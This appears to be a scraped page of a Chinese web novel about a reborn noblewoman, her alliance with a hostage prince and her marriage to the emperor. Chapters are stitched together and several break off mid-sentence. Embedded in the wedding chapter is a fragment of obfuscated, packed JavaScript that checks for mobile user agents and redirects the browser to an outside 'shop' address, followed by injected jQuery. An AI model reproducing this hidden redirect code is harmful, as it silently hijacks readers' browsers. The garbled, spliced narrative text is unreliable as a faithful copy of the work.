阳光透过窗棂,在地上投下斑驳的光影,一只白猫慵懒地蜷缩在窗台上,享受着午后的暖阳。 容蓁坐在窗边的软榻上,纤细的手指轻轻手中握着那只白玉瓷瓶,瓶身冰凉细腻,触感温润如玉。 她眉心微蹙,如画般的脸上笼罩着一层淡淡的阴霾。 “江南盐税……”她喃喃自语,脑海中浮现出前世哥哥被押解回京,满身伤痕,形容枯槁的模样。 同时,萧誉的话在她耳边回响:“这是你要的东西。” 瓶塞打开,一股奇异的幽香扑鼻而来,带着一丝淡淡的甜味,却能激起人心底悸动的魅惑。 容蓁心中微动,脑海中不由自主地浮现出萧誉那张俊美无俦的脸庞。 他那双深邃如墨的星眸,仿佛带着某种魔力,能够轻易地看穿人心。 “这个萧誉,还真是……”容蓁低声呢喃。 她原本只是抱着试一试的心态去找萧誉帮忙,毕竟这种事情,实在难以启齿。 却没想到,萧誉竟然真的帮她拿到了。 或许……不论如何她得试一试。 “备车,我要去趟城南别院。”容蓁起身吩咐道。 绿芜有些惊讶:“小姐,您又要出府?” “事不宜迟。”容蓁眼中闪过一丝决绝,“我必须立即见到他。” 马车备好后,容蓁不想让父兄知晓她出府,悄悄地从偏门出去,一路为避人耳目七拐八绕的,多花了半个时辰才到达城南别院。 她找到上次的角落越过墙头,悄无声息地进了院落。 萧誉的书房内,他换了一身素衣,端坐在书案前,手中翻阅着一卷书籍,周身散发着生人勿近的清冷 17.七巧节(三) 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 入夜。 容蓁站在烛台下,展开暗卫送来的密信,信上只有简单的三个字——望月楼。 她如何都未曾想到萧誉答应帮她的条件,竟是与他共赏花灯。 绿芜掩唇笑道:“小姐,这萧公子莫不是对您……” “休得胡言。”容蓁面上微愠打断绿芜未说完的话。 他究竟是何用意? 七巧佳节,盛京城内张灯结彩,人声鼎沸,处处洋溢着喜庆的氛围。 容蓁身着一袭月白色绣海棠花纹衣裙,外罩一件轻薄的粉色纱衣,乌黑的长发挽成简单的随云髻,只插着一支白玉簪,清丽脱俗,更衬得她宛若月宫仙子。 她提着一盏绘着并蒂莲的八角宫灯,莲瓣是用轻薄的粉色绢纱制成,随着微风轻轻摇曳。 望月楼有整个盛京城最好吃的菜及最香的酒,也是盛京城内最高的建筑,站在楼顶,可以俯瞰整个盛京城。 是以如此佳节,望月楼的一楼早已座无空席,戏台子上请的是京中最有名的戏班子正在唱《七襄报章》,引得坐下拍手连连。 萧誉早已在二楼雅间等候,一袭苏青色锦袍,腰间系着一条白玉腰带,墨发束起,身形挺拔站在栏杆旁,看向楼外城景的眼眸中却透着一股清冷,仿佛与这热闹的节日格格不入。 他一边听着戏,一边目光落在正走进望月楼的女子身上。 “萧公子久候了。” 不多时,容蓁上了二楼,来到雅间走上前打招呼。 雅间的人闻声转眸,深邃的眸子在看到她的一瞬间,闪过一丝惊艳。 今晚的她,不同于往日的清冷,多了几分柔美,在月色下,更显得楚楚动人。 萧誉伸手示意她到栏杆边,指着远处灯火辉煌的盛京城,问道:“景色如何?” “美不胜收。” 容蓁顺着他的目光望去,语气淡淡,听不出什么情绪。 “是啊,只是这繁华背后,又有多少不为人知的黑暗。” 容蓁闻言,侧眸看向他,四目相对,两人眼中都闪过一丝复杂的情绪。 “萧公子今日约我来此,应该不仅仅是为了赏灯吧?”容蓁收回目光,淡淡道。 萧誉没有直接回答她的问题,而是抬手指向不远处的一片灯海:“容小姐可喜欢这花灯?” 容蓁顺着他的目光看去,只见各式各样的花灯将夜空点缀得如同白昼。 “自然喜欢。”容蓁转头看向他,眼中带着一丝探究,“难道萧公子约我来此,只是为了赏花灯?” 萧誉嘴角勾起一抹似笑非笑的弧度:“自然不是。” 他顿了顿,语气变得认真起来:“我答应过你,会帮你哥哥。” 萧誉侧头看着她眸色深沉,良久,转而看向她手里的花灯道:“容小姐的花灯,倒是别致。” “不过是寻常玩意儿,让萧公子见笑了。”容蓁垂眸看向手里的花灯,蹙眉思忖眼前人到底有何打算。 萧誉端起酒杯,轻抿了一口,“容小姐是想知道,我为何要提出那样的条件吗?” 容蓁心头一紧,抬眸看向他,却见他神色莫测,让人捉摸不透。 “容小姐请坐。”萧誉抬手示意她落座,语气温和了几分。 两人相对而坐,中间隔着一张紫檀木桌,桌上摆放着精致的酒菜,却无人动筷。 “容小姐似乎不是很愿意来赏花灯?” 容蓁微微一怔,随即明白他的意思。 “萧公子说笑了,我只是不习惯这样的场合罢了。” “哦?” 萧誉挑眉,问道:“那容小姐喜欢什么样的场合?” 容蓁没有回答,只是稍稍转移了话题:“萧公子既然提出要与我一同赏花灯,想必是已经有了计划?” 萧誉看着她,轻笑道,“如此佳节,容小姐还真是……“ 话未曾说完,他瞧着她的眸光微闪,转而又道:”你我既是合作关系,自然要坦诚相待。” “萧公子说的是。”容蓁点头,目光扫过楼下熙熙攘攘的人群,语气中带着几分感慨,“我知道你有很多秘密,秘密谁都有,但我想我们还有共同的目的。”她语气真诚地说道。 萧誉看着她,目光深邃,仿佛能看穿她的心思。随即他嘴角勾起一抹笑意,如冰雪消融,令人眼前一亮。 “自然。江南盐税一案,我已经派人暗中调查,这是已查出的一些名单和证据。” 他说着,从袖中掏出一只白玉盒子,递给容蓁。 容蓁接过盒子,打开一看,里面是一叠厚厚的纸张,上面密密麻麻地写满了字迹。 “多谢萧公子。”容蓁合上盒子,语气真诚。 “不必言谢。”萧誉淡淡道,“你我各取所需罢了。” 容蓁微微一笑,不置可否,从袖中取出一信笺递与萧誉道:“这是我暗中调查到的,与萧公子的基本一致。” 萧誉接过仔细地看了一遍,眼中闪过一丝惊诧。 “如此短的时间能查出来这些,甚至比我的更为详细,看来容小姐并非表面上看起来那么简单。” 容蓁淡淡一笑,端起酒杯,轻轻抿了一口。 “这酒……” “不好喝?” 萧誉看着她,眼中闪过一丝笑意。 “不,是太烈了。”她放下酒杯黛眉微蹙。 萧誉看着她,眸色渐深。 “既然如此,那便换一种。” 他说着,从怀中掏出一个精致的酒壶,倒了一杯递给容蓁。 “尝尝这个。” 容蓁接过酒杯,轻轻嗅了嗅,一股淡淡的桃花香气扑鼻而来。 “桃花酿?” 萧誉举起酒杯,与她轻轻碰了一下。 “这杯酒,就当是我们合作愉快的开始。” 容蓁没有说话,只是端起酒杯,一饮而尽。 她本就不胜酒意,才下肚两杯酒,脸颊上就以悄然飞出两朵红晕。 她手托着沉重的脑袋,侧头看向远处街道,挂满了祈福的灯笼,随风摇曳,散发着温暖的光芒。 忽然有些羡慕长街上一个个对未来充满期许的少女,眼中含笑喃喃自语道:“家家女儿乞巧盼,天下红丝看君穿。” 萧誉目光沉静地看着眼前这位有计谋、有身手的容家嫡小姐,眼中似有一团厚重的迷雾散去,他不曾想到这位容小姐的酒量竟如此浅。不仅如此浅,竟还在他面前撤下防备,流露出未曾见过的另一面。 瞧着她看向长街的模样,他心底似乎有些情绪被揉散开去。 “既然我今日陪萧公子赏了花灯,那萧公子是不是也该陪我去一个地方?”容蓁突然开口,转过头盯着萧誉的脸认真道。 “什么地方?”萧誉饶有兴致地看着她问道。 容蓁放下酒杯,指向远处灯火最盛的地方。 “去了就知道了。”说完,她身形摇晃地起身,朝望月楼外走去。 萧誉见状立即起身,拿起被遗忘在一旁的并蒂莲的八角宫灯,跟随在后出了望月楼。 两人并肩走出望月楼,融入熙熙攘攘的人群中宛若一对璧人,引来无数惊艳的目光。 夜色如水,灯火璀璨,映照着两人相携而行的身影,仿佛一幅绝美的画卷。 或许是趁着酒意,又或许是被节日氛围所感染,容蓁早先闷在心中沉重的心情疏散开来,看到街边比清早更为琳琅满目的商品和灯笼,瞬时像一只兔子在人群中钻来钻去。 萧誉不禁加快了步伐,眼睛紧紧地落在容蓁身上片刻不离。 上一刻,瞧见她才钻进一个捏面人摊位前,手里拿着一只小面人。 下一刻,她就钻进了街边一个猜字谜赢灯笼的小摊,饶有兴致地看起来。 萧誉好不容易挤进人群,此时已经有好些人正在猜,他扫一眼周围,都是些文人在绞尽脑汁帮自己心仪的姑娘赢灯笼。< 18.前夜 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 夕阳西下,天边燃烧着一片绚丽的晚霞,将容府的庭院染上了一层淡淡的金红色。 容蓁斜倚在窗边的软榻上,纤细的手指轻轻翻动着一封信笺,眉目间带着几分凝重。 信笺上,是萧誉清劲有力的字迹,言简意赅地描述了江南盐税一事的调查进展。 “江南郑氏,果然有问题。”她低声呢喃,语气中带着几分笃定。 “小姐可是有了什么发现?”绿芜在一旁为她添茶,轻声问道。 容蓁将信纸递给她,眼底有些深沉。前世她未曾关注过朝堂风云,竟不知这些利益熏心之人为了钱势能做出诸多如此的事情。 绿芜接过信纸,仔细阅读起来,片刻后,脸色也变得凝重起来,“这江南郑氏,竟然如此胆大妄为,连朝廷的盐税也敢私吞!” “他们敢如此肆无忌惮,背后定然有人撑腰。”容蓁放下茶盏,语气中带着几分寒意,“我容氏为了百姓安居乐业鞠躬精粹,而这些狼心狗肺之人为了对付我容氏,却无所不用其极。” “那小姐打算如何应对?”绿芜担忧地问道。 容蓁起身走到窗边,目光望向远处,语气中带着几分冷意,“郑氏一族与当地官员勾结,私自克扣盐税,贩卖私盐中饱私囊。既然他们心中无百姓无朝廷,那就让他们知道什么是民心,什么是法度。” 她放下信笺,起身走到书案前,铺开一张宣纸,提笔蘸墨,开始给萧誉回信。 容蓁在信上写道,字迹娟秀清丽,却透着一股不容忽视的凌厉。 写完之后,她仔细检查了一遍,确认无误后,才将信笺放入信封,用火漆封好交给紫冥。 绿芜忍不住问道:“小姐,萧公子他一个南疆质子,为何会答应插手帮忙此事?” “他想要借刀。”容蓁转过身,眼中闪过一抹精光,“而我,就是那把刀。” “可是……”绿芜还想说什么,却被容蓁抬手打断。 “我明白你的担忧,但此事并非没有转圜的余地。萧誉想要利用我,我何尝不能利用他?” “小姐的意思是……”绿芜不解地问道。 “我要与虎谋皮。”容蓁嘴角勾起一抹笑容,眼底浮起一缕希望,“但也不是任人摆布的棋子,各取所需而已。” 她起身走到窗边,推开雕花窗棂,望着窗外庭院,心中思绪万千。 江南盐税,事关重大,稍有不慎,便会引起朝野震荡。 她深知此事非同小可,一旦处理不好,轻则国库亏空,重则动摇国本。 她揉了揉发酸的眉心,江南郑氏世代经营盐业,富可敌国,势力盘根错节,若他们真的与当地官员勾结,想要查清此事,并不容易。 容蓁轻叹一声,眉宇间染上一抹忧虑。 她深知萧誉想要利用容家,将江南盐商掌握在自己手中。焉知他会不会也成为下一个江南郑氏? “叩叩叩……” 一阵敲门声打断了她的思绪。 “进来。” 房门被推开,容平章一身玄色衣袍,步履沉稳地走了进来。 “哥哥,这么晚,你怎么来了?”容蓁放下手中茶盏,有些惊讶地抬眸看向来人,眉眼间带着一抹温柔的笑意。 “过两日就要动身去江南了,你后日大婚,我想着过来看看你。”容平章走到书案前,目光落在那封还未封口的信笺上。 “这么快动身?”容蓁见着兄长喜上眉梢的神情立即被惊诧所替代。 容平章点点头道:“陛下已下旨让我在你们大婚的第二日起身前往江南。” 如此说来,算上哥哥路途花费的时间,留给她和萧誉查案的时间不过月半,她得抓紧时间了! “哥哥可还记得江南郑氏?”容蓁美眸微眯,语气中带着一丝寒意。 “江南郑氏?”容平章沉思片刻,恍然大悟,“你是说,此事与郑氏一族有关?” “不错。”容蓁点点头,将书案上的信笺递给他,“据我所知,郑氏这些年来一直在暗中勾结当地官员,私自贩卖私盐,克扣盐税,从中牟取暴利。” “果真有此事?!”容平章闻言接过信笺,仔细阅读了一遍,顿时义愤填膺,“这郑氏好大的胆子,竟敢如此胆大妄为,视国法如无物!” “哥哥此去,一定要万事小心。”容蓁清澈的眸子中闪过一抹担忧,“切莫中了他们的圈套。” “蓁儿放心,哥哥心中有数。”容平章点点头,伸手拍了拍容蓁的手背,柔声安慰道,“倒是你,后日就要大婚,宫中不比家里,要照顾好自己,若是有什么事情,一定要手书给为兄和父亲。” “蓁儿省得。”容蓁微微一笑,清丽的容颜上带着一丝自信,“哥哥只管安心查案。” 容平章看着眼前这个已经出落得亭亭玉立的妹妹,心中满是欣慰和担忧。 欣慰的是,他的妹妹已经不再是那个需要他保护的小姑娘了,她已经有了自己的主见和能力。 担忧的是,她即将要面对的,是这波谲云诡的朝堂,是那吃人不吐骨头的后宫。 兄妹二人又聊了一会儿,容蓁便催促容平章早些回去休息。 容平章也不想打扰妹妹歇息,便起身告辞,走到门口时,容蓁突然想起了什么,叫住容平章道:“哥哥,还有一事,你要格外小心。” “何事?”容平章问道。 “哥哥此去江南,务必要小心谨慎,莫要中了小人的圈套。”容蓁提醒道,“尤其是要提防身边之人,切莫被表象所迷惑。” 容平章看着容蓁一脸严肃的模样点了点头,抬步离开白兰苑。 他知道,他的妹妹从来不会无的放矢,她说要提防身边之人,必然是有所指。 可是,他会是谁呢? “小姐,夜深了,早些休息吧。”芯红端着热腾腾的燕窝羹走了进来,轻声劝道。 “嗯。”容蓁收回思绪,转身走到桌边,端起燕窝羹,慢慢地喝了起来。 绿芜与芯红二人对看一眼,同时看着容蓁平静的侧脸,心中不禁有些心疼。小姐虽然嘴上不说,但心里其实比谁都担心大公子。 “小姐,您也不必太过担心,大公子吉人自有天相,一定会平安无事的。”芯红安慰道。 “嗯。”容蓁淡淡地应了一声,便不再说话,转眼看向窗外月色如水的庭院。 她知道,这一世,她要面对的,不仅仅是后宫的尔虞我诈,还有来自朝堂的暗流涌动。 窗外,夜色正浓,一轮明月高悬夜空,洒下清冷的月光。 - 第二日。 红烛摇曳,映照着满室喜庆的红色。 容蓁坐在梳妆台前,看着镜中倒映出的那张精致的脸庞, 19.大婚(一) 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 天还未亮,天际才泛起一抹鱼肚白,容府白兰苑暖阁里,烛火通明,映照着满室的喜庆之色。 才五更天容蓁就已起身。 暖阁外早早儿的就有一群人候着了,听见房屋中的动静,“咚咚——”房门被人敲响。 门外传来芯红的声音:“小姐,宫里派了几位喜娘和嬷嬷来伺候小姐梳洗打扮。” “进来吧。” 容蓁下了床榻,走到铜镜前坐下。 雕花木门被缓缓推开,六名喜娘捧着托盘鱼贯而入,身后跟着一位身形丰腴,笑容可掬的喜嬷嬷。 “给容小姐请安,今儿是您的大喜之日,老奴是奉皇上旨意,特来服侍您更衣梳妆的。”喜嬷嬷福了福身,声音洪亮喜庆。 容蓁放下手中正细细摩挲的手钏,嘴角勾起一抹得体的微笑:“嬷嬷有心了,劳烦您了。” “哎哟,小姐真是客气,这都是老奴应该做的。”喜嬷嬷笑得眼睛眯成了一条缝,指挥着喜娘将托盘上的各色脂粉首饰摆放在梳妆台上。 “小姐,吉时快到了,该沐浴更衣了。”喜嬷嬷轻声提醒道。 “好。”容蓁轻轻点头,站起身来,在两名丫鬟的搀扶下,缓缓走向屏风后的浴桶。 温热的水汽氤氲而上,将她笼罩在一片朦胧之中,也让她想起了前世那些不堪回首的往事。 那时,皇帝不顾自己与家人不愿,强迫嫁他为后。 新婚之夜,他对她百般温柔,体贴入微,让她一度陷入了楚绍的虚情假意之中。 他对她好,只是为了利用她的家族势力,巩固自己的皇位。 当她失去利用价值的时候,便是她被禁足宫中,香消玉殒之时。 “小姐,您怎么了?”芯红见容蓁脸色苍白,额头上渗出细密的汗珠,不禁担忧地问道。 “没事,我只是想起了一些往事。”容蓁回过神来,摇了摇头,语气中听不出丝毫的情绪波动。 “小姐,您别紧张,今日大婚的章程虽然繁琐复杂,今日过后您就贵为皇后,日子一定会幸福美满的。”芯红安慰道。 容蓁闻言,嘴角勾起一抹自嘲的笑容。 幸福美满? 只怕等着她的是人间炼狱。 她已不再奢求幸福美满。 她要的,是权势,是地位,是能够掌控一切的力量! 只有这样,她才能保护自己,保护自己在乎的人,不再重蹈前世的覆辙。 “我没事,继续吧。”容蓁闭上眼睛,深吸一口气,将心中翻涌的情绪压了下去。 她现在要做的,就是以最完美的姿态,嫁入皇宫,成为出楚燕的皇后! 然后,利用这个身份,一步步实现自己的计划! “是。”芯红和绿芜不敢再多言,小心翼翼地伺候着容蓁沐浴更衣。 片刻之后,容蓁穿着一袭轻薄的月白色寝衣,从屏风后走了出来。 她肌肤如玉,吹弹可破,乌黑的长发披散在肩头,更添了几分慵懒和妩媚。 “小姐,您真美。”芯红和绿芜看得都呆住了,忍不住赞叹道。 容蓁淡淡一笑,没有说话,只是走到梳妆台前坐下,任由喜娘为自己梳妆打扮。 “小姐肤如凝脂,吹弹可破,真是老奴见过的最美的新娘子了。”喜嬷嬷拿起一块玉润的粉膏,用指尖轻轻捻起一点,均匀地涂抹在容蓁的脸上。 容蓁任由喜嬷嬷在自己脸上涂涂抹抹,目光却落在铜镜中映照出的那张娇艳欲滴的脸庞上。 “小姐,您可真美啊!”喜娘一边为容蓁梳妆,一边忍不住赞叹道,语气中充满了惊艳和羡慕。 铜镜中,少女身着一袭大红嫁衣,金丝线绣成的凤凰栩栩如生,仿佛要展翅飞翔,衬得她肌肤胜雪,眉目如画,美得令人窒息。 只是那双清澈的眸子中,却不见一丝喜悦,反而透着一股淡淡的凝重。 “是啊,小姐今日真是光彩照人,老奴都看呆了。”喜嬷嬷站在一旁,看着眼前这如花似玉的少女,眼中满是慈爱和欣慰。 容蓁看着镜中的自己,嘴角勾起一抹淡淡的笑容,却没有说话。 前世,她也曾身穿凤袍,头戴凤冠,在万众瞩目中登上那个至高无上的位置。 只是那时,她的心中只有紧张和不安,丝毫没有新嫁娘的喜悦和期待。 而如今,她早已不是那个懵懂无知的少女了。 重生一世,她步步为营,与萧誉达成合作,目的是要将命运掌握在自己手中。 喜嬷嬷小心翼翼地捧起托盘上那顶金光闪闪的凤冠,正要往容蓁头上戴去。 “等等。”容蓁忽然开口,伸手阻止了她。 “小姐可是有什么吩咐?”喜嬷嬷愣了一下,疑惑地问道。 容蓁接过凤冠,指尖轻轻抚过上面镶嵌的珍珠宝石,语气平静道:“这凤冠,我自己来戴。” 喜嬷嬷微微一怔,随即反应过来,连忙点头应道:“是,小姐。” 容蓁拿起凤冠,缓缓戴在头上,动作优雅而庄重。 铜镜中,少女的眉眼间,已褪去了往日的青涩,取而代之的是一抹凛然天成的威仪。 “小姐,您准备好了吗?”喜嬷嬷看着眼前这个瞬间蜕变的少女,尽管见多了各色的贵妇小姐,也未遇到过这样静静柔弱地坐在铜镜前,却能让她倍感压力和威慑未出阁的小姐。 “嗯,走吧。”容蓁站起身来,款款微笑道。 “吉时到!迎亲队伍到!”门外传来喜娘高亢的声音。 容蓁深吸一口气,站起身来,眼中闪过一抹坚定,由芯红和绿芜扶着,走出暖阁。 院子里,喜鹊在枝头叽叽喳喳地叫个不停,仿佛在为今日的盛事欢唱。 红毯从宫门一直延伸到容府门前,绵延数里,宛如一条火红的巨龙,象征着皇家无上的荣耀。 容府门前,早已聚集了前来观礼的达官贵人和平民百姓,人山人海,热闹非凡。 容玉山一身官服,站在府门前,看着眼前这热闹的景象,脸上虽挂着笑,但更多的是愁容。 “来了,来了!迎亲队伍来了!”人群中有人高声喊道。 只见一队身穿红色喜服的皇家仪仗队,簇拥着一顶金碧辉煌的八抬大轿,浩浩荡荡地朝容府走来。 “奉天承运,皇帝诏曰:兹有容家嫡女容蓁,秀外慧中,温婉贤淑,特封为皇后,钦此!” 持案官高声宣读着圣旨,声音洪亮,传遍整个街道。 容蓁跪在地上,听着这道圣旨,心中却毫无波澜。 阳光下,她一身红衣,凤冠霞帔,美艳不可方物,宛若九天玄女下凡尘。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12907778|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太医走近,见萧誉的脸色不太好,犹豫了一下,方才慢慢说道:“萧世子,您侍卫的毒全部除清,已无性命之忧,只是……” 雨有越下越大之势,跟在太医身边的小医官在一旁撑了伞站在太医身侧。 雨滴打落在萧誉身上,他仿佛未察觉。眼眸深处藏了几分狠厉,平静道:“太医但说无妨。” 太医打量着萧誉,见他神情未动,这才继续说道:“只是,因中毒时间过长,未得到及时的清除,这侍卫的武功怕是……废了。” 萧誉一惊,身子震了震,只恨不能将真凶手撕。 太医边说边有些心虚地打量着萧誉,继续道:“我方才已开好了药方,等回到太医院抓好了药就遣人给世子送来。” 后者默然半晌,叹息一声对太医道:“只怪我们大意,那就有劳太医了。” 太医又简单地叮嘱了几句后,萧誉将太医送至栖云轩门口,这才止步,见太医与小医官的背影消失在门扉处,眸光瞬间如同冰霜,泛起了寒意。 太医走后,他又在门口站了许久,直到站得累了,才缓缓转身,步伐沉重地走入易辰所居的那所偏殿。 易辰靠坐在床上,听见脚步声,转头望向门口。 萧誉来到近前,看见易辰往日神采的眼里没了光芒,不由得叹了口气道:“方才太医的话,你都听见了?” 易辰垂下头,良久才点了点头。 看着眼前与自己从小一起长大,情同手足手足易辰,萧誉心中十分不是滋味。 易辰与他相反,曾那般开朗的人,此时却如同一只受伤的幼猫,在暗处蜷缩起来,露着胆怯的目光。 萧誉不知道怎样去安慰人,他坐在易辰床边的矮凳上,张了张口,想说些什么,但终究还是没有说话。 易辰则呆呆地望着格菱状房梁,良久终于抬起头,眼里带着血丝,沙哑地问:“世子,我是不是很没用?” 萧誉摇摇头,否定道:“不是。” 易辰声音加重,仍然带着沙哑,“明明来道中原,来楚燕,是该我来保护世子。”他顿了顿,带着些哭腔,“可是现在的我,对世子而言已经没有用了,反倒拖累世子。” 说罢,易辰顿时激动地从枕下拿出一把匕首,刀锋闪着寒光,冲着自己心口扎去。 萧誉见状,眼疾手快手刀落在易辰的手腕上,平时堪堪能与萧誉过上几招的易辰,现下没有了与他抗衡的力量。 手里的匕首被打落在地,萧誉迅速捡起,拿远了些,脸上有些温怒,沉声道:“你疯了吗?” 易辰垂眸,“世子,现在的我只会拖累你。” 萧誉看着他,摇了摇头,“是我没有护住你。” 闻声,易辰木然地抬眸,嘴唇动了动,忽然不知道该说些什么。 萧誉拍了拍他的肩,又轻声对易辰劝道:“好好养着,思然还在南疆等你。” 思然…… 易辰身眼里瞬间燃起一点微弱亮光,如同风中的黑夜,那仅剩的一点烛光,努力维持着那点光一闪一闪,忽地变亮照耀着四周,一点点吞噬更多的黑暗。 萧誉看着易辰的变化,知道他应该是冷静下来了,该是不会再做傻事。 于是接着又道:“你先下好好休息,我会按太医给的药方按时煎好了药给你。什么都别想了,等身体恢复了,武功我们还可以练回来,到时候欠我们的债,也该一笔笔讨回来。” 易辰嘴唇紧紧抿起,终是点了点头。 37.侍疾 金銮殿内。 镀金越窑龙纹香炉中,龙涎香静静地燃着。 批完奏折的楚绍,穿着明黄龙纹常服,正半倚在坐塌上闭目养神。 “陛下,御膳房的小栗子告罪,说是前两日挨了训,心存愤恨才做了今日这事。小栗子认罪时说随手将毒随手放入了一鸽子汤中,并非蓄意针对某一位人。”王乾从殿外办完差事,轻手轻脚地进来,知道皇帝并未睡着,低声地向坐塌上的人回禀着,“奴才已让人干净地处置了。” 话落,他弓着身,稍稍抬眼看向御案后的人。 而那人依然闭着眼,只在鼻息间发出沉闷“嗯”的一声,就算知晓了。 这时外间有疾步声传来,王乾闻声向外看去,不知是哪个不要命的奴才,御前伺候也敢这样毛毛躁躁。 他才回头便见一个宫女脸色焦急地疾步走来,瞧那身着打扮似乎是明华殿的宫女。 王乾看了眼楚绍,轻声退了出去。 那宫女瞧见王乾,脚下的步伐更是急了些,走近之后急的说话都有些哆嗦了。 王乾侧耳听得那宫女小声来报,心下一惊,自是不敢耽搁分毫,哪里顾得上方才的沉稳,急急转身回道殿内,向坐塌上的人急禀,“陛下,明华殿宫女来报,皇后娘娘夜里发了烧,现正昏迷着。” 话音才落还未来得及抬眼,才想开口问陛下是否摆驾去明华殿瞧瞧,眼角却只抓住那一闪而过的明黄。 再抬首时,那抹明黄早已走出了殿外,他急忙跟着小跑出去,起着尖儿嗓朝外喊道:“摆驾明华殿!” - 夜晚雨势未有半分减小,抬着皇帝的辇在雨中疾走。 楚绍到明华殿时,殿内已忙得手忙脚乱。 绿芜用水浸湿了帕子,拧干水,不停换着搭在容蓁头上。 殿外传来请安的声音。 呼吸间,那位身着明黄的人已步入暖阁中。 楚绍亲自抬手打帘入内,远远见到那张娇而不艳,美而不妖的脸,此时脸颊晕上一抹红,是平日见不到的另一番模样。 往日只能瞧见温婉娇柔的脸上,此时眉头紧紧锁起,一层层的汗露自额间渗出。 “参见皇上。”暖阁内的手忙脚乱忙着侍疾的太医、宫女们纷纷见礼。 楚绍不耐烦地摆摆手,目光却不曾从容蓁脸上移开,冷声问道:“皇后如何了?” “回皇上,皇后娘娘乃此次腿疾所致,所幸及时正骨未伤及胫骨,但伤处仍有积水,娘娘低烧反复乃与伤处的积水有关。” 太医如实地回禀,偷偷瞄了眼皇帝的神色,却见其脸色极黑,心神一凛,不敢多言。 王乾心细,看出主子是在隐忍着没有发作,“太医,给皇后娘娘的药可有煎好了?” 太医立马心领神会,感激地看向王乾,点头如捣蒜,“正煎着呢,下官这就去看看。” 才眨眼的功夫,脚下如同抹了油一般的溜出殿外,直奔明华殿的小厨房而去。 王乾又抬了个凳子过来,放在床榻边,“陛下,您别急,娘娘万福金安,又有您龙气护佑着,保不准儿两日就好了。” 楚绍瞥了眼王乾,脸色晦暗不明。 这一眼倒瞧得王乾心里一疙瘩,难不成自己哪儿说错了,五官拧巴起来,但见主子并未怪罪,那抹明黄挪了挪身子,在他搬来的凳子上坐了下来,这才放下心里的石头,却也不敢多言,带着其他宫人一并退下。 听着殿门被关起,暖阁里没有了那些嘈杂的声音,楚绍紧绷的脸才稍稍卸了神情。 他看着躺在床上双眼紧闭的容蓁,伸手探向那美若芙蕖的女子额前,却只在碰到她青丝的那一刻,停下了。 眼中似有挣扎,看着眼前这虚弱的女子,脸上情绪不明,却缓缓收回了伸出去的手。 他忽然忆起儿时每每盼着她进宫,却永远只能看见她的背影,她的目光从不会在自己身上停留。 他静静地看着她,哪怕这一刻,天地间只有他们二人,楚绍惊讶地发现,此时的他心中竟生出一些贪念……贪念这一刻晚点结束,哪怕就一点点。 不过一炷香的时间,身后的殿门被再次推开。他闻声也在同一时间闭上眼,将眼底的情绪藏起。 芯红端着太医亲自煎好的药走了进来。 那味儿闻着都苦,楚绍不由地皱起了眉。 绿芜上前将容蓁轻轻扶起靠在自己身上,芯红一勺一勺地将那药往容蓁嘴里送。 每一勺,都有半勺的药从容蓁嘴角流落。 碗里的药喂了大半,楚绍见容蓁虽昏睡着,而原本微蹙的眉紧锁起来,恍惚间想起什么,朝王乾吩咐着:“去小厨房拿一盘杏花糕来。” 芯红本小心地喂着药,本就坐得近的皇帝突然吩咐,自然也传进了芯红的耳朵里,喂药的手倏地停顿了一下,心里泛起了嘀咕,陛下如何知道她刚刚在太医为自家娘娘煎药时,为娘娘做了盘杏花糕的? 娘娘自小怕苦,幼时自打一次从宫里回府之后,每逢喝药前都会让她准备好一盘杏花糕。 皇帝在侧脸色并不好,芯红自然不敢多想,一勺勺的终于将手里那碗药喂完。 王乾取了杏花糕进来,抵在楚绍跟前儿低声道:“陛下,卫统领回来了,正在金銮殿外等您回去。” 楚绍再看了一眼喂完药的容蓁,此时紧皱的眉梢已舒展了些,这才起身,眼底的杀意即将溢出,冷冷道:“朕倒要好好听听。”说罢,直直朝殿外走去。 另一边,栖云轩偏殿。 易辰喝了药,在萧誉的宽慰下下又沉沉地昏睡了过去。 此时,外面正淅淅沥沥下着大雨。 从房檐流下的雨滴,一颗颗连成水帘,似是将殿里的人和物都要隔绝在内一般。 萧誉坐在易辰床边的矮凳上,目光落到窗外,脑袋闪过一段段画面。 听着窗外滴落的雨声,他也渐渐从这雨滴声中找到了片刻的安宁。 楚燕,不论如何他和易辰都要好好地在这片土地上生存下去。 一夜未眠,天边开始泛起鱼肚白。 床边的人坐了一夜,仔细看却看不出一夜未睡的颓废之色,反而那如黑夜星芒般的双眼比起之前更添了几分锐气。 许久,他缓缓闭上了眼,遮住了眼底的神色,这一夜里他心中已然有了决策。 皇帝视自己为眼中刺,没有一颗强有力的大树作为依靠,仅靠他与易辰二人在楚燕的处境只怕是会越来越艰难。 昨日皇帝对容蓁的态度,他也看清了许多。皇帝虽对容蓁有情,但未必肯放过容氏。而从容蓁身上他能够感受到容氏有自己的傲骨,并非是愚忠能听之任之,让人践踏如草芥的门楣。 所以,要想在楚燕、盛京之中生存下去,容氏是他的最佳选择。 哪怕昨日,她将自己拒之门外。 哪怕这容氏的路,不一定好走。 萧誉唇角勾起,自嘲般的笑了,她推开是她的事,自己死皮赖脸地黏上去,让她甩不掉那便是自己的本事。 - 因下着大雨,御道比较滑,抬着辇的宫 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楚绍点了点桌面,问道:“可有审出背后之人?” 卫战低头继续道:“那人原死活不肯说出背后之人,直到属下在其腰间搜出“宋”字腰牌,诓他若不老实交代,就将他和令牌一并送回给左相,并告诉左相他是如何细细道出这原委,那人才松了口。” “是左相出的手?”楚绍语气冰冷至极。 “是。” 楚绍闻言,气怒起身,翻手砸碎一只白玉瓷的花瓶,“左相打着什么盘算!怎么,是打算杀了皇后,好让他女儿入主中宫?宋冉琴,她也配?” 话落,又抬手连连砸了好几个。 王乾站在殿外听着都心惊,却听见殿内在喊他。 他心里咯噔一下,今夜是触了什么眉头。想归想,脚下却不敢耽搁,立马推门进去,这时也不敢抬头看,只比往日老腰弯得更低了些,“陛下。” 